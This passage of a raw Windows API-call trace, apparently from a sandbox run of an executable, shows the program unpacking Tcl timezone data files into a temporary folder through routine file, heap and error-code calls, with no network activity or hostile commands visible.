SetLastError (dwErrCode=0x2) [0038.354] GetLastError () returned 0x2 [0038.354] SetLastError (dwErrCode=0x2) [0038.354] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tripoli", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tripoli", lpFilePart=0x0) returned 0x46 [0038.354] GetLastError () returned 0x2 [0038.354] SetLastError (dwErrCode=0x2) [0038.354] GetLastError () returned 0x2 [0038.354] SetLastError (dwErrCode=0x2) [0038.354] GetLastError () returned 0x2 [0038.354] SetLastError (dwErrCode=0x2) [0038.354] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tripoli") returned 71 [0038.354] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tripoli" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\tripoli"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.354] GetFileType (hFile=0x10c) returned 0x1 [0038.354] htonl (hostlong=0xbe160000) returned 0x16be [0038.354] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.355] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.355] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x6be, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x6be, lpOverlapped=0x0) returned 1 [0038.355] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.355] CloseHandle (hObject=0x10c) returned 1 [0038.356] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.357] htonl (hostlong=0x30000000) returned 0x30 [0038.357] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.357] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.357] GetFileType (hFile=0x10c) returned 0x1 [0038.357] htonl (hostlong=0x2d665800) returned 0x58662d [0038.357] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d162d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.357] htonl (hostlong=0x4c010000) returned 0x14c [0038.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14c) returned 0x550600 [0038.357] htonl (hostlong=0x4c010000) returned 0x14c [0038.357] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.358] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.358] htonl (hostlong=0x30040000) returned 0x430 [0038.358] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x430) returned 0x550758 [0038.358] htonl (hostlong=0x4c010000) returned 0x14c [0038.358] htonl (hostlong=0x30040000) returned 0x430 [0038.358] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.358] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.358] CloseHandle (hObject=0x10c) returned 1 [0038.359] GetLastError () returned 0x0 [0038.359] SetLastError (dwErrCode=0x0) [0038.359] GetLastError () returned 0x0 [0038.359] SetLastError (dwErrCode=0x0) [0038.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.359] GetFileType (hFile=0x10c) returned 0x1 [0038.359] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.359] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.359] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.359] CloseHandle (hObject=0x10c) returned 1 [0038.359] GetLastError () returned 0x0 [0038.359] SetLastError (dwErrCode=0x0) [0038.359] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.359] GetFileType (hFile=0x10c) returned 0x1 [0038.359] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.359] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.360] CloseHandle (hObject=0x10c) returned 1 [0038.360] GetLastError () returned 0x0 [0038.360] SetLastError (dwErrCode=0x0) [0038.360] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.360] GetFileType (hFile=0x10c) returned 0x1 [0038.360] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.360] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.360] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.360] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.361] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.361] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.361] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.361] CloseHandle (hObject=0x10c) returned 1 [0038.361] GetLastError () returned 0x0 [0038.361] SetLastError (dwErrCode=0x0) [0038.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tunis") returned 69 [0038.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tunis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\tunis"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.361] GetLastError () returned 0x2 [0038.361] SetLastError (dwErrCode=0x2) [0038.361] GetLastError () returned 0x2 [0038.361] SetLastError (dwErrCode=0x2) [0038.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tunis", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tunis", lpFilePart=0x0) returned 0x44 [0038.361] GetLastError () returned 0x2 [0038.361] SetLastError (dwErrCode=0x2) [0038.361] GetLastError () returned 0x2 [0038.361] SetLastError (dwErrCode=0x2) [0038.361] GetLastError () returned 0x2 [0038.361] SetLastError (dwErrCode=0x2) [0038.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tunis") returned 69 [0038.361] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tunis" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\tunis"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.362] GetFileType (hFile=0x10c) returned 0x1 [0038.362] htonl (hostlong=0x30040000) returned 0x430 [0038.362] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.362] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x430, lpOverlapped=0x0) returned 1 [0038.363] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.363] CloseHandle (hObject=0x10c) returned 1 [0038.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550758 | out: hHeap=0x530000) returned 1 [0038.364] htonl (hostlong=0x30000000) returned 0x30 [0038.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.364] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.364] GetFileType (hFile=0x10c) returned 0x1 [0038.364] htonl (hostlong=0x79675800) returned 0x586779 [0038.364] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d1779, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.364] htonl (hostlong=0x4c050000) returned 0x54c [0038.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x54c) returned 0x550600 [0038.364] htonl (hostlong=0x4c050000) returned 0x54c [0038.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.364] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.364] htonl (hostlong=0x90180000) returned 0x1890 [0038.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1890) returned 0x560088 [0038.364] htonl (hostlong=0x4c050000) returned 0x54c [0038.364] htonl (hostlong=0x90180000) returned 0x1890 [0038.364] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561920 [0038.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561920 | out: hHeap=0x530000) returned 1 [0038.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.364] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.364] CloseHandle (hObject=0x10c) returned 1 [0038.365] GetLastError () returned 0x0 [0038.365] SetLastError (dwErrCode=0x0) [0038.365] GetLastError () returned 0x0 [0038.365] SetLastError (dwErrCode=0x0) [0038.365] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.365] GetFileType (hFile=0x10c) returned 0x1 [0038.365] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.365] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.365] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.365] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.365] CloseHandle (hObject=0x10c) returned 1 [0038.365] GetLastError () returned 0x0 [0038.365] SetLastError (dwErrCode=0x0) [0038.365] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.365] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.365] GetFileType (hFile=0x10c) returned 0x1 [0038.366] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.366] CloseHandle (hObject=0x10c) returned 1 [0038.366] GetLastError () returned 0x0 [0038.366] SetLastError (dwErrCode=0x0) [0038.366] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.366] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.366] GetFileType (hFile=0x10c) returned 0x1 [0038.366] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.366] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.366] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.366] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.366] CloseHandle (hObject=0x10c) returned 1 [0038.367] GetLastError () returned 0x0 [0038.367] SetLastError (dwErrCode=0x0) [0038.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Windhoek") returned 72 [0038.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Windhoek" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\windhoek"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.367] GetLastError () returned 0x2 [0038.367] SetLastError (dwErrCode=0x2) [0038.367] GetLastError () returned 0x2 [0038.367] SetLastError (dwErrCode=0x2) [0038.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Windhoek", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Windhoek", lpFilePart=0x0) returned 0x47 [0038.367] GetLastError () returned 0x2 [0038.367] SetLastError (dwErrCode=0x2) [0038.367] GetLastError () returned 0x2 [0038.367] SetLastError (dwErrCode=0x2) [0038.367] GetLastError () returned 0x2 [0038.367] SetLastError (dwErrCode=0x2) [0038.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Windhoek") returned 72 [0038.367] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: 